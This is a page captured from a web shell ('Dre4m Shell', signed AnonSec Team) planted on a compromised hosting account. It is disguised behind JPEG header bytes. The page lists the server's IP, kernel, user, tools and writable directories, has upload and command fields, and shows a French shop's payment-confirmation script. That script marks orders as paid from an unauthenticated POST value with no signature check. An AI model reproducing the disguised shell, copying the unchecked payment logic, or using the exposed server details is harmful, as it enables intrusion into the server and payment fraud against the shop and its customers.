ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/CE_payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/CE_payment//accept.php
<?php

include_once("../includes/config.php");

// Mise ?jour du status de la commande
//////////////////////////////////////////////////////

$id_cde = $_POST['vads_order'];
$status_cde = "1";

  $sql = $bdd->prepare('INSERT INTO order_status(id_order, date_status, status)
    VALUES (:order, :date_status, :status)');

  $sql->execute(array('order' => $id_cde,
            'date_status' => date('Y-m-d H:i:s'),
            'status' =>  $status_cde));

//////////////////////////////////////////

//****************************************************************************************//
//************************************  css + mails   ************************************//
//****************************************************************************************//
 
   $thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
    $resulta = $thema->fetchAll();
	$fil = $resulta[0]['fil'] ;
	$tfil = $resulta[0]['tfil'] ;
	$shop_email_rappel = $resulta[0]['email_rappel'];
	$shop_title = $resulta[0]['title'];

  $sql = $bdd->query('SELECT title, url, email_contact FROM info
    WHERE id = 1');
  $infos = $sql->fetch();

  $sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
    WHERE id = :order');
  $sql->execute(array('order' => $id_cde));
  $order = $sql->fetch();

/////////////////////////////////////////////////////
	$msg ='
	<html lang="fr">
		<head>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		</head>
		<body>';
	                $msg .='<img src="../templates/shop/img/logo.png" style="margin:10px;">';

		
          	$msg .='
			<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
				<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
			</div>
			<br />';

  $msg .= '
  Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande No ' . $order['id'] . ') a ??mise ?jour le ' . strftime("%d/%m/%Y ?%Hh%M", time()) . '. <br /><br />Son nouveau statut est d?ormais : REGLEE (paiement accepte)<b>"';

  $msg .= '"</b>.<br />Vous pouvez suivre votre commande en cliquant ici :  <a href="' . $infos['url'] . '/suivi-de-commande-' . $order['id_order'] . '">Suivi de ma commande</a>';
  
  $msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';

  // Envoi message au client.
  require('../includes/phpmailer/class.phpmailer.php');

  $mail = new PHPMailer();
  $mail->IsMail();
  $mail->AddReplyTo($shop_email_rappel, $shop_title);
  $mail->AddAddress($order['email']);
  $mail->SetFrom($shop_email_rappel, $shop_title);
  $mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
  $mail->MsgHTML($msg);
  $mail->Send();

/*
  echo '<script>';
  echo 'window.location = "../index.php"';
  echo '</script>';
*/
  
//////////////////////////////////////////////////



echo '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>Transaction ok</title>
<link href="style.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="container">
	<div id="Title_information">
		<img class="" src="./img/admin_mail_banner.jpg" alt="Logo PSP"/>
<div class="header_title" ></div>
	</div>
	<hr>	
	<div>';
// --------------------------------------------------------------------------------------
// Affichage des r?ultats avec aiguillage
// --------------------------------------------------------------------------------------
// ACCEPT
?>
<br />
<h1 align="center"><font color="#FF0000" size="5" face="Arial">Commande valid&eacute;e !</span></font></h1>
<center><b><h2>Votre transaction est r&eacute;ussie !</h2></b><br>
<br />

Toute notre &eacute;quipe vous remercie de votre confiance !

<br />
<br />

		<form style="margin-top:10px;"method=POST action=../index.php >
					<p style="text-align: center">
					<button type="submit" class="validationButton" >
				<span><font size="4">Retour &agrave; la boutique</font></span>
				</button>
					</p>
				</form>
<br />
<br />
<?php
// --------------------------------------------------------------------------------------
echo '</div>
</div>
</body>
</html> 
';
?>

Anon7 - 2022
AnonSec Team